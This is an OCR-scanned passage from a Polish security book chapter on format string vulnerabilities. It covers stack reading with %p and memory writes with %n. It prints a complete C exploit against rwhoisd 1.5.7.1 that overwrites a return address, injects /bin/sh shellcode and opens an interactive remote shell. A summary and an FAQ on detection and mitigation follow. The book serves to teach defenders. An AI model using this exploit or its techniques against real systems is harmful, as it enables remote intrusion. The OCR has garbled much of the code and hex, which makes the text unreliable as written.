biblioteki libc obstugujg znak wielokrotnosci (*) w specyfikatorach ciggu. Znak
ten informuje funkcje printf() o tym, ze dtugos¢ (liczba znakéw), do ktérej ma
zosta¢ wyréwnana wartoS¢ zmiennej odpowiadajgcej specyfikatorowi definiowana
jest parametrem wywotania (funkcja odczytuje dtugos¢ wypetnienia ze stosu).
Parametr ten musi by¢€ liczbg catkowita. Kazda gwiazdka powoduje wiec ,potkniecie”
4 kolejnych bajtéw stosu. Ostateczna dtugos¢ interpretowanej wartosci moze byé
jednak zastgpiona przez liczbe okreslong bezposrednio przed wtasciwym
specyfikatorem. Przyktadowo, specyfikator Z********10i spowoduje wySwietlenie
przez funkcje wartosci zmiennej catkowitej, reprezentowanej za pomocg dziesieciu
znakach. Jednakze wartoS¢ tej zmiennej zostanie odczytana spod adresu
przesunietego o 32 bajty. Pierwsze zastosowanie tej techniki przypisuje sie
niejakiemu lorianowi.

¢ Odwotywaé sie bezposrednio do parametrow — mozliwe jest zmuszenie funkcji
printf() do odwotywania sie wytacznie do okreslonych parametréw. Stuzg
do tego specyfikatory formatujgce postaci %x$n, gdzie x jest numerem parametru
(liczac od 1). Technike te mozna stosowac¢ jedynie na platformach wyposazonych
w biblioteke C obstugujaca ciagi formatujace z bezposrednim dostepem
do parametréw.

Jezeli nawet za pomocg omdéwionych wyzej trikdw nie uda sie ,dosiegna¢” adresu ,za-
szytego” w ciggu formatujgcym, atakujgcy powinien przeanalizowaé kod procesu w ce-
lu okreslenia, czy gdziekolwiek w pamieci znajduje sie obszar stosu, w ktérym mozna
by umiesci¢ adres. Nalezy bowiem pamietaé, ze adres niekoniecznie musi by¢ osadzony
w ciggu formatujgcym, cho¢ jest to wygodne, gdy ciagg ten alokowany jest w odpowied-
nim obszarze stosu. Atakujgcy moze przeciez przekaza¢ na wejscie programu nie tylko
cigg formatujgcy. W przypadku wspomnianego programu Screen atakujgcy miat na przy-
ktad dostep do zmiennej konstruowanej na podstawie zmiennej Srodowiskowej HOME.
Cigg ten byt przechowywany na stosie w tatwiej dostepnym miejscu.
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%error 340 Invalid Authority Area: Oxbffff9350x0807fa80

-soa 4010p%010p%010p

%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x00000001

-soa £010p%010p%010p%010p

%error 340 Invalid Authority Area: O0xbffff9350x0807fa800x000000010x08081cd8

W tym przyktadzie klient odczytat jedno, dwa, trzy a nastgpnie cztery stowa pamigci
stosu. Wydruk wynikowy zostal sformatowany tak, ze nadaje si¢ do automatycznej anali-
zy przez program atakujacy. Prawidtowo skonstruowany program atakujacy moze wy-
korzysta¢ odpowiedzi serwera do rekonstrukcji pelnej zawartosci stosu procesu serwera.
Program taki mégltby odczytywaé zawarto$é pamigci stosu az do momentu napotkania
na stosie samego ciagu formatujacego i na tej podstawie obliczyé pozadana lokaliza-
cj¢ specyfikatora %n w ciagu formatujacym.

rwhois V-1.5:003fff:00 victim (by Network Solutions, Inc V-1.5.7.1)

-soa 4010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%
010p%010p%010p%010p%010p%010p%010p%010p%010p%010p%cicicicic

%error 340 Invalid Authority Area: 0xbffff9350x0807fa800x000000010x0807fc300x
bffff8f40x0804f21e0xbffff9350xbffff9350xbffffI0c0x0804a6a30xbffffI35(ni1)0x
bffffI300xbf fffb640xbffff9200x0804ecal0xbffffI300xbffff9300x000000040xbTfffb300x
0804ef4e0xbffff9300x000000050x616f732d0x31302500010%p

W tym przyktadzie klient zmusit funkcje printf() do przeszukania duzego obszaru sto-
su tak, aby atakujacy mogl okresli¢ potozenie na stosie ciggu formatujacego. Wyttusz-
czone znaki 010%p to pierwsze znaki przekazanego do serwera ciagu formatujacego,
zawierajacego przetworzone przez funkcje printf() specyfikatory formatu. Jezeli ata-
kujacy osadzi na poczatku ciagu formatujacego adres, moze, wstawiajac w miejsce spe-
cyfikatorow %c element %n, wymusi¢ zapis pod adresem pamieci przekazanym w ciagu
formatujacym.

Atak z uzyciem ciggu formatujacego

JestesSmy juz gotowi do przeprowadzenia ataku wykorzystujacego ciag formatujacy.
W przypadku takiego programu jak rwhoisd celem wiamywacza jest wymuszenie wy-
konania przez zdalny komputer podsunigtego przez siebie kodu. Kod ten powinien da¢
atakujacemu dostep do atakowanego komputera.

Prezentowany tu exploit zostanie napisany dla demona rwhoisd 1.5.7.1 kompilowanego
na platformie Linux i386. Program ten badany byl w poprzednich punktach. Jak juz
wspomniano, aby wykona¢ podstawiony kod, exploit musi nadpisa¢ wartos¢, do ktorej
atakowany proces odwotuje si¢ pdzniej jako do adresu kolejnej instrukcji do wykonania.
W prezentowanym exploicie adres powrotny funkcji nadpisywany bedzie adresem ,,prze-
myconego” kodu. Kod ten bedzie realizowat wywotanie exec(/bin/sh), co spowoduje
udostepnienie klientowi powtoki w atakowanym systemie.

Najpierw program atakujacy powinien nawiaza¢ potaczenie z ustuga i sprobowaé
okresli¢ lokalizacje ciagu formatujacego na stosie. Program atakujacy zrealizuje to
poprzez nawigzanie wielokrotnie potaczenia z ustuga i przekazanie do niej ciagu for-
matujacego zwracajacego kolejne stowa stosu procesu zdalnego. Funkcja realizujaca
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ten fragment programu nosi¢ bedzie nazwe brute_force(). Funkcja ta bedzie wysytaé
do serwera ciagi formatujace powodujace zwracanie przez serwer coraz wigkszych
obszarow pamigci stosu. Nastepnie kazde pozyskane stowo stosu bedzie porownywa-
ne z wartoscig 0x62626262, ktora bedzie umieszczana na poczatku ciggu formatuja-
cego. Istnieje ryzyko, ze ze wzgledu na rézne rozmiary typow danych przechowywa-
nych na stosie nie uda si¢ ,.trafi¢” w petne stowo 0x62626262 — program atakujacy
nie obshuguje jednak takiej ewentualnosci.

if (Cptr == "0") && (*(ptr + 1) == 'x"))
{

memcpy (segment, ptr, 10);

segment[10] = "\0";

chekit = strtoul(segment, NULL, 16);

if (checkit == FINDME)
{

printf("*b00m*: znalazlem adres #1: %i slowa dalej.\n", i);
foundit = 1;
return foundit;

}
ptr += 10;

}

Przekazywany przez serwer obraz stosu tatwo poddaje si¢ analizie, poniewaz jest for-
matowany zgodnie ze specyfikatorem formatujacym %010p. Specyfikator %010p forma-
tuje kazde stowo maszynowe jako 8-znakowy ciag szesnastkowej reprezentacji tego
stowa poprzedzony ciagiem 0x. Kazda taka reprezentacja jednego stowa pamigci stosu
moze by¢ przekazana do jednej ze standardowych funkcji jezyka C, takich jak strtoul (),
zwracajacej odpowiadajaca temu ciggowi zmienna typu catkowitego.

Podstawowym celem ataku jest wykonanie wlasnego kodu. Aby to osiagnaé, wtamywacz
musi nadpisa¢ te obszary pamigci, ktorych zawartos¢ bedzie pdzniej wykorzystywana
jako adres kolejnych instrukcji programu. Jednym z takich obszaréw jest adres powrot-
ny funkcji. Czytelnik juz wie, ze adres ten jest gldéwnym celem atakéw przepetniajacych
bufor — przepetnienie bufora alokowanego na stosie moze spowodowac¢ modyfikacje
przechowywanej rowniez na stosie wartosci adresu powrotnego funkcji. W prezentowa-
nym ataku nadpisany zostanie takze wlasnie adres powrotny funkcji — to najwygod-
niejsze rozwigzanie.

Atak ma wigc spowodowaé nadpisanie adresu powrotnego umieszczanego na stosie
w momencie wywotywania funkcji print_error(). W binarnej wersji aplikacji rwhoisd
wykorzystywanej do konstrukcji tego przyktadu adres powrotny tej funkcji znajduje sie
w czasie jej wykonywania pod adresem 0xbffff8c8. Adres ten bedzie naszym celem.

Kiedy program atakujacy zdota juz zlokalizowaé na stosie ciag formatujacy, powinien
skonstruowac nowy ciag formatujacy, zawierajacy w odpowiednich miejscach specyfi-
katory %n, tak aby sprowokowa¢ zapis do odpowiednich komérek pamieci. Mozna w tym
celu wykorzysta¢ specyfikatory takie jak %x, ktore beda pochtania¢ wybrane obszary sto-
su. Program atakujacy konstruuje cigg automatycznie, opierajac si¢ na efektach dzia-
tania funkcji brute_force().
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for (1 =0; 1 < num; i++)

{
}

strncat(str, "%x", 2);

Zmienna num wykorzystywana w powyzszym kodzie zostata ustawiona w funkeji brute
force() 1 wskazuje lokalizacje ciagu formatujacego na stosie atakowanego procesu.
Teraz program atakujacy, znajac adres, pod ktorym ma zosta¢ wykonany zapis, powi-
nien okresli¢ adres docelowy skoku.

Adres powrotny musi zosta¢ nadpisany w czterech kolejnych zapisach metoda %n. Aby
skonstruowac 4-bajtowy adres docelowy, kazda kolejna operacja zapisu musi operowaé
na obszarze pamigci przesunigtym o jeden bajt w stosunku do poprzedniej operacji.
Cztery adresy okreslajace to przesunigcie rowniez musza zosta¢ umieszczone w ciagu
formatujacym:

*((long *) (str + 8%)) = TARGET;
*((long *) (str + 16%)) = TARGET + 1;
*((Tong *) (str + 24*%)) = TARGET + 2;
*((long *) (str + 32%)) = TARGET + 3;
stri36] = "\0";

Kolejnym krokiem jest zapisanie odpowiednich wartosci pod kazdym ze zdefiniowanych
przesunigé¢. Utworza one w efekcie adres podsunigtego kodu, ktory zostanie umieszczo-
ny na stosie. W przykladzie adresem tym jest Oxbffffod.

Aby skonstruowac taka warto$é, trzeba zapisaé¢ pod adresami umieszczonymi w ciagu
formatujacym nastgpujace wartosci:

TARGET - 9

TARGET + 1 - ff

TARGET + 2 - ff
TARGET + 3 - Df

Mozna to wykonaé przy uzyciu omawianych wczesniej specyfikatoréw okreslajacych
wypelnienie.

Przyktadowo, aby zapisa¢ pod adresem TARGET wartos¢ 0x0000019d, nalezy umiescié
w odpowiednim miejscu ciggu formatujacego specyfikator 2125x. Interesujaca nas war-
to$¢ 9d zostanie dzigki temu zapisana w ostatnim bajcie odpowiedniego obszaru. Za
pomoca specyfikatoréw z okresleniem wypelnienia i specyfikatorow zapisu do pamigci
mozna skonstruowac petna posta¢ adresu docelowego:

strncat(str, "%227x", 5); // wypetnienie
strncat(str, "%n", 2); // zapis
strncat(str, "%92x", 4); // wypetnienie
strncat(str, "¥n", 2); // zapis
strncat(str, "%262x", 5); // wypetnienie
strncat(str, "¥n", 2); // zapis
strncat(str, "%192x", 5); // wypetnienie

strncat(str, "%n", 2); // zapis
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Warto odnotowaé fakt, ze wartosci podawane w specyfikatorach wypetniajacych sa
silnie uzaleznione od tacznej liczby znakdéw wiaczonych do wynikowego, sformatowa-
nego ciagu. Jezeli sformatowany ciag jest prezentowany na zewnatrz, mozliwe jest au-
tomatyczne okreslenie liczby znakow wypetnienia.

Po nadpisaniu adresu powrotnego funkcji, funkcja vfprint() zakonczy swoje dzialanie
normalnie, ale po powrocie z funkcji print_error() procesor rozpocznie wykonywanie
kodu podstawionego przez atakujacego. Rysunek 9.2 demonstruje efekt udanego ata-
ku wykorzystujacego ciag formatujacy.

Rysunek 9.2. [1hack proofing your network - SecureCRT M=l &3
Pene[rac/'a kgmpu[era File Edit “iew Options Transfer Scrpt Window Help

w wyniku . BF R ERQ(EESE X2

przeprowadzenia S p—p

ataku ciqgu
formatujqcego
na ustuge rwhoisd

Ready Telnet 12,1 17 Rows, 82 Colz  |WT100
4

Oto kompletny kod programu atakujacego:

// ilustracja koncepcji wtamania

// napisano dla rwhoisd 1.5.7.1 kompilowanego na platformie Linux/i386

//

// program nadpisuje adres powrotny znajdujacy sie pod adresem Oxbffff8c8
// adresem podsunietego kodu

// kod ten oparty jest na exploicie autorstwa 'CowPower'

// http://www.scurityfocus.com/archive/1/222756

#include <stdio.h>
#include <unistd.h>
#include <fentl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/errno.h>
#include <linux/in.h>

extern int errno;

#define FINDME 0x62626262 // trzeba odszukad te wartoé¢ na stosie
#define TARGET 0xbffff8c8 // adres, ktéry bedzie nadpisywany

void gen_str(char *str, int found, int target);
unsigned int brute force(int a, char *str, char *reply);
int find_addr(char *str);

void session(int s);

int main(int argc, char *argv[])

{
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int s;
fd _set fd;
int amt;

struct sockaddr_in sa;
struct sockaddr in ca;

int where = 0;

char reply[5000]; // bufor odbiorczy
char str[1000]; // bufor nadawczy

strf0] = '-"; // przedrostek dyrektywy soa
strll] = 's";

str[2] = '0";

stri3] = 'a";

strf4] = ' ', // wypelnienie

str[5] =" ', // wypelnienie

strf6] ="' ', // wypetnienie

str[7]1 ="' ', // wypetnienie

*((Tong *) (str + 8)) = FINDME; // warto$C szukana na stosie
strf12] = '\0";

bzero(&ca, sizeof(struct sockaddr_in))
bzero(&sa, sizeof(struct sockaddr in))

if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{

perror("socket:");

if ((s = bind(s, &ca, sizeof(struct sockaddr_in)) < 0)

{

perror("bind:");

}

sa.sin_addr.s_addr = inet_addr("127.0.0.1");
sa.sin_port = htons(4321)

sa.sin_family = AF_INET;

if (connect(s, &sa, sizeof(struct sockaddr_in)) < 0)

{

perror("connect:");
1
where = brute_force(s, reply, str); // przeszukanie stosu
gen_str(str, where, TARGET); // konstrukcja ciggu atakujacego
write(s, str, strlen(s)); //  wystanie ciggu do serwera
while(1)
{

amt = read(s, reply, 1);
if (reply[0] == "\n")
break;
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}

write(s, "id;\n", 4);
amt = read(s, reply, 1024);
replyfamt] = '0";

it ((reply[0] == "u") && (reply[1] == "1') && (reply[2] = 'd"))
{
printf("*b00m*: %s\n", reply);
session(s);
1
else

printf("proba ataku zakonczona powodzeniem.\n");

}

close(s)
exit(0)

unsigned int brute force(int s, char *reply, char *str)

{

// funkcja przeczesuje pamie¢ stosu komputera-ofiary
//w poszukiwaniu ciagu formatujacego

int foundit = 0;
int amt = 0;
int i =0;

amt = read(s, reply, 5000); // odczyt nagtéwka powitalnego (Smieci)

replyfamt] = '"\0";

while(!foundit)

{
strncat(str, "%010p", 5);

write(s, str, strlen(str)+l);
write(s, "\n", 1);

amt = read(s, reply, 1024);
if (amt == 0)

fprintf(stderr, "polaczenie zamkniete.\n");
close(s);
exit(-1)

}
replyfamt] = "\0";

am 0;

i

[
o

while(replylamt - 11 != "\n")

{
i += amt;
amt = read(s, reply + i, 1024);
if (amt == 0)

fprintf(stderr, "polaczenie zamkniete.\n");
close(s);
exit(-1)

}
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}
replyfamt] = "\0";
foundit = find_addr(reply);
}
}

int find_addr(char *str)

{
// funkcja analizuje dane odpowiedzi serwera
// 1 wyszukuje w nich stowa stosu
// zawierajace ciag formatujacy

char *ptr;

char segment[117;
unsigned long chekit = 0;
int i =0;

int foundit = 0;

ptr = str + 6;

while ((*ptr != "\0") && (*ptr !'= "\n'))
{
if ((*ptr == '0") && (*(ptr + 1) == "x"))
{
memcpy (segment, ptr, 10);
segment[10] = "\0';
chekit = strtoul(segment, NULL, 16);

if (checkit == FINDME)

{
printf("*b00m*: znalazlem adres #1: %i slowa dalej.\n", i);
foundit = 1;
return foundit;

}

ptr += 10;
}
else if ((*ptr =" ") & (*(ptr + 1) = "' "))
{

ptr += 10;  // 0x00000000

)
1++;
1
return foundit;

}

void gen_str(char *str, int num, int target)
{
// funkcja generuje ciag atakujacy
// zawierajacy adres docelowy zapisu
// oraz specyfikatory formatujace (wypetnienie i zapis: #n)
// oraz kod *adunku

int 1;
char *shellcode =

"\x90\x31\ xdb\ x89\ xc3\ x43\ x89\ xcb\ x41\ xb0\ x3f\ xcd\ x80\ xeb\ x25\ x5e"
"\x89\ xf3\x83\xc3\xe0\x89\x73\x28\ x31\xc0\x88\ x43\ x27\ x89\ x43\ x2¢"
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}

"\x83\xe8\ x5\ x8d\ x4b\ x28\ x8d\ x563\ x2c\ x89\ xF3\ xcd\ x80\x31\xdb"
"\x31\xc0\ x40\ xcd\x80\xe8\xd6\xF FAxff\xff/bin/sh";

memset(str + 8, 0x41, 992); // inicjalizacja bufora

*((long *) (str + 8%)) = TARGET; // umieszczenie adreséw w buforze
*((long *) (str + 16%)) = TARGET + 1;
*((Tong *) (str + 24*)) = TARGET + 2;
*((long *) (str + 32%)) = TARGET + 3;
*((long *) (str + 36%)) = TARGET + 4;
str{36] = '"\0";
for (i=0; 1<num-1; i++)
{
strncat(str, ""¥x, 2); // potykanie stosu az do adresu docelowego
1
// ponizsza sekcja jest zalezna od wersji binarnej demona
strncat(str, "%227x", 5); // wypetnienie
strncat(str, "¥n", 2); // zapis
strncat(str, "%92x", 4); // wypetnienie
strncat(str, "%n", 2); // zapis
strncat(str, "%262x", 5); // wypetnienie
strncat(str, "#n", 2); // zapis
strncat(str, "%192x", 5); // wypetnienie
strncat(str, "%n", 2); // zapis

strncat(str, shellcode, strlen(shellcode)); // wstawienie kodu do bufora

strncat(str, "\n", 1); // zakofczenie ciagu znakiem nowej Tinii

void session(int s)

{

// funkcja zarzadza komunikacja
// z powtoka uruchomiona na komputerze-ofierze

fd_set fds;
int 1;
char buffer[1024];

FD_ZERO(&fds);

while(1)

{

FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+l, &fds, NULL, NULL, NULL);
if (FD_ISSET(0, &fds))
{
i=0;
bzero(buf, sizeof(buf));
fgets(buf, sizeof(buf) - 2, stdin);
write(s, buf, strlen(buf));
}

else
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if (FD_ISSET(s, &fds))

{
i=0;
bzero(buf, sizeof(buf));
if ((i = read(s, buf, 1024)) == 0)

{

printf("polaczenie utracone.\n");
exit(0);
}

buffi] = "\0";
printf("%s", buf);
}
}
!

Podsumowanie

Bledy ciagéw formatujacych sa jednymi z nowszych narzedzi hakerskiego warsztatu.

Techniki wlamaniowe polegajace na wykorzystywaniu btedéw programistycznych staty
si¢ w ciagu ostatnich kilku lat bardzo wyrafinowane. Jednym z powodow takiego stanu
rzeczy jest to, ze po prostu wieksza liczba hakerow, a wiec wigcej par oczu analizuje
i wyszukuje stabosci w kodach zrédtowych wszelkich programéw. Dzigki temu tatwiej
dzi§ zdoby¢ informacje dotyczace istoty wszelkiego rodzaju luk oraz sposobu dziatania
specyficznych funkcji systemowych.

Generalnie wlamywacze stosunkowo niedawno spostrzegli mozliwosci tkwiace w pro-
stych i powszechnych btedach programistycznych. Funkcje z rodziny printf() oraz
zwigzane z ich niepoprawnym stosowaniem btedy istnialy od lat — ale do niedawna
nikt nie zorientowat si¢, ze moga one zosta¢ wykorzystane nawet do uruchomienia na
zdalnej maszynie dowolnego kodu. Wraz z atakami ciagéw formatujacych pojawity si¢
inne nowe techniki, takie jak nadpisywanie struktur funkcji malloc() (nadpisywanie
wskaznikdw przy wywotaniu free()) czy btedu indeksowania zmiennych catkowitych
ze znakiem.

Dzisiejsi wlamywacze doktadnie wiedza czego szukaja i majg §wiadomos$¢ sposobu,
w jaki nieistotne z pozoru btedy i przeoczenia programistéw wptywaja na podatnosé
systemu na ataki. Hakerzy zagladaja wiec do kazdego programu, obserwuja jego re-
akcje na wszelkie mozliwe dane wejsciowe. Dzi§ programisci musza by¢ bardziej niz
kiedykolwiek wczesniej swiadomi faktu, ze praktycznie nie istnieja dopuszczalne btedy
— nawet niewielki btad, jezeli nie zostanie w por¢ wyeliminowany, moze by¢ przy-
czyng katastrofy. Administratorzy systemowi i uzytkownicy musza by¢ za$ swiadomi
tego, ze w wykorzystywanym przez nich oprogramowaniu moga czai¢ si¢ bledy dzis
nieznane, ale w przysztosci by¢ moze wystawiajace system na zmasowane ataki.
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Zagadnienia w skrocie

Istota btedow ciagow formatujacych

4 Btledy ciagdéw formatujacych wynikaja z nie§wiadomosci programistow,
dopuszczajacych przekazywanie danych wejsciowych jako ciagdw formatujacych
do funkcji printf().

4 Dzigki bledom ciggow formatujacych atakujacy moze odczytywac i zapisywaé
wybrane obszary pamieci procesu.

¢ Wykorzystanie luk zwigzanych z ciagami formatujacymi moze doprowadzi¢
do wykonania dowolnego kodu w wyniku nadpisania adreséw powrotnych,
wpisow tablicy GOT, wskaznikéw funkcji i tak dale;.

Analiza podatnego programu

¢ Podatne programy wykorzystuja zwykle funkcje printf() i przekazuja do niej
jako ciag formatujacy dane pobrane z zewngtrznego zrddta.

4 Stosowanie ,,otoczki” dla funkcji printf() powoduje czgsto, ze programisci
zapominaja o koniecznosci jawnego przekazania do takiej otoczki ciggu
formatujacego.

4 Nieprawidlowe korzystanie z funkcji sys1og() to przyczyna duzej liczby znanych
atakow wykorzystujacych ciagi formatujace, w tym atakow bardzo groznych
dla integralnosci weziow internetowych.

Testowanie wykorzystujgce przypadkowe ciagi formatujace

4 Programy mozna testowac pod katem podatnosci na ataki ciagdw formatujacych
za pomocg obserwacji ich reakcji na r6znego rodzaju ciagi formatujace podawane
na ich wejscie.

4 Umiesciwszy w ciagu formatujacym specyfikatory %s, ¥x czy %p, mozemy
okresli¢ podatnos¢ programu na ataki ciagéw formatujacych, o ile ciag wynikowy
konstruowany przez funkcje printf() prezentowany jest na zewnatrz. Nieco
trudniej okresli¢ podatno$¢ programu, jezeli ciagi wynikowe nie sa zwracane
uzytkownikowi.

4 Obserwujac dziwne zachowania procesu (zalamanie, zawieszenie) w reakcji
na specyfikatory %n lub %s podane na wejscie programu, mozemy z duzym
prawdopodobienstwem zdiagnozowac podatnos¢ programu na ataki
wykorzystujace ciagi formatujace.

Atak z uzyciem ciggu formatujacego

4 Mozliwe jest konstruowanie takich ciagow formatujacych, ktérych podanie na
wejscie programu spowoduje odczyt lub zapis konkretnych obszaréw pamieci
atakowanego procesu. Luki zwiazane z ciagami formatujacymi nie sa $cisle
zalezne od platformy. Niektore programy, takie jak Screen, mozna z powodzeniem
atakowac niezaleznie od platformy systemowo-sprzgtowej, na ktorej zostaty
uruchomione.
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¢ W przypadku programow, ktore prezentuja na zewnatrz efekt konstrukcji
ciaggu sformatowanego atakujacy moze dokonywac¢ odczytow sporych obszaréw
pamieci procesu i wykorzystywac zdobyte w ten sposob informacje w dalszych
fazach atakow. Dzigki tej technice atakujacy moze wrecz zrekonstruowac
zawartos$¢ stosu procesu i okresli¢ konieczne do nadpisania adresu powrotnego
funkcji pozycje specyfikatorow %n.

4 Atakujacy moze dzigki ciagom formatujacym przeforsowac¢ wielokrotne zapisy
i w ten sposdb umiesci¢ w pamieci procesu dowolne wartosci. Technika ta
umozliwia zapis dowolnej wartosci w niemal dowolnym obszarze pamigci
procesu.

4 Na platformach blokujacych niewyrownane operacje zapisu (w procesorach RISC
operacja zapisu musi by¢ wyréwnana do dwdch bajtéw) mozna zastosowaé
specyfikator %hn, pozwalajacy na zapis w pamigci dwubajtowej zmiennej typu
short int.

Najczesciej zadawane pytania (FAQ)

Zamieszczone ponizej najczesciej zadawane pytania (FAQ), na ktére odpowiedzi udzielili
autorzy niniejszej ksiazki, maja na celu zarowno sprawdzenie zrozumienia przez Czy-
telnika przedstawionych w rozdziale zagadnien, jak i pomoc w przypadku praktycznego
ich wykorzystania.

P: Czy systemy z niewykonywalna pamigcia stosu lub zabezpieczenia integralnosci
obszaru stosu takie jak StackGuard moga zapobiec atakom wykorzystujacym
ciagi formatujace?

O: Niestety nie. Blgdy wynikajace z niewlasciwego stosowania ciagdw formatujacych
umozliwiaja atakujacemu przeforsowanie zapiséw do niemal dowolnych obszaréw
pamigci. Mechanizm StackGuard zabezpiecza integralnos¢ danych
przechowywanych w ramce stosu, systemy blokujace wykonywanie kodu
na obszarze stosu udaremniaja zas proby uruchomienia kodu podsunigtego przez
wilamywacza, o ile zostat on umieszczony na stosie. Bledy ciagdw formatujacych
pozwalaja hakerom na ominigcie obu tych zabezpieczen. Dzigki mozliwosci
zapisu wybranego obszaru pamigci haker niekoniecznie musi nadpisywac adres
powrotny funkcji — moze nadpisaé inne wskazniki funkcji przechowywane
poza obszarem stosu (unika w ten sposob naruszenia jego integralnosci, ktora
zostataby wykryta przez StackGuarda) i umiesci¢ kod tadunku na przyktad na
stercie. Zabezpieczenia takie jak StackGuard i niewykonywalny obszar stosu
moga uniemozliwié przeprowadzanie powszechnie znanych, publikowanych
atakow, jednakze nie moga powstrzymac utalentowanego i odpowiednio
zdeterminowanego wlamywacza.
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P: Czy btedy tego rodzaju sa charakterystyczne dla systemu Unix?

O: Nie. Powszechnosé bleddow ciagdw formatujacych w systemach uniksowych
wynika z czgstego stosowania w oprogramowaniu dla tych systemow funkcji
printf(). Réwniez bledy powodowane nieprawidtowym stosowaniem funkcji
syslog() sa charakterystyczne dla Uniksa. Zasadniczo jednak mozliwos¢
przeprowadzenia ataku wykorzystujacego ciag formatujacy uzalezniona jest
od tego, czy implementacja standardowych bibliotek C dla danej platformy
obstuguje specyfikatory %n funkcji printf(). Jezeli dana implementacja
obstuguje ten specyfikator, kazdy program konsolidowany z biblioteka libc
obarczony bledem ciagu formatujacego moze zosta¢ wykorzystany do
przeprowadzenia ataku skutkujacego wykonaniem dowolnego kodu.

P: Jak mogg odnalez¢ luki zwigzane z ciggami formatujacymi?

0: Znaczna czes¢ tego rodzaju stabosci moze by¢ w prosty sposob wychwycona
podczas analizy kodu zrédlowego. Analiz¢ taka mozna zautomatyzowacé: polega
ona bowiem na kontrolowaniu listy parametrow przekazywanych do wszelkich
wywotan funkcji printf(). Kazda z funkcji z rodziny printf() wywolywana
z jednym parametrem jest potencjalnym obiektem ataku (o ile przekazywane
do niej dane pochodzg bezposrednio od uzytkownika).

P: Jak moge wyeliminowac¢ albo chociaz ograniczy¢ ryzyko wystgpowania
W stosowanym przeze mnie oprogramowaniu niewykrytych luk zwiazanych
z ciagami formatujacymi?

O: Na poczatek warto opracowac i wdrozy¢ odpowiednig polityke bezpieczenstwa.
Bazujac na modelu minimalnych uprawnien musisz upewnic sie¢, ze wszelkie
niezbe¢dne narzedzia systemowe zainstalowane z bitem setuid sg dostgpne
wylacznie dla ograniczonej i zaufanej grupy uzytkownikéw. Nalezy tez zablokowac
dostep do zbednych ustug systemowych Iub je wytaczyé.

P: Czy istnieja jakies symptomy, na podstawie ktorych moge okresli¢, czy kto$
prébuje wlamac si¢ do mojego systemu z uzyciem ciagéw formatujacych?

O: To bardzo istotne pytanie, poniewaz wiele bledow ciggéow formatujacych opiera
si¢ na niepoprawnym wykorzystaniu funkcji syslog(). Kiedy podejmowane sa
proby wykorzystania takich btedow, ciagi konstruowane na podstawie ciagdw
formatujacych zapisywane sa w systemowych plikach dziennika. Administrator
moze na podstawie analizy zawartosci tych plikow zidentyfikowac proby atakow
wykorzystujacych ciag formatujacy — pojawiaja si¢ one w dzienniku jako dziwnie
wygladajace, czesto bezsensowne (zawierajace litery i cyfry) komunikaty. Innymi,
nieco mniej wyraznymi wskazéwkami moga by¢ czeste zatamania, zawieszenia
lub inne niepoprawne zachowania demondw ustug wynikajace z naruszenia
mechanizméw ochrony pamigci.

P: Gdzie moge znalez¢ wigcej informacji na temat atakow ciagéw formatujacych?

O: Tematyce tej poswigcono szereg swietnych publikacji. Autorem jednej z nich
jest Tim Newsham — jego artykut opublikowany na tamach Guardent dostgpny
jest pod adresem www.securityfocus.com/arcive/1/81565. Autorzy polecaja réwniez
lekture artykutéw publikowanych przez TESO (www.team-teso.net/articles/
formatstring) oraz HERT (www.hert.org/papers/format.html).



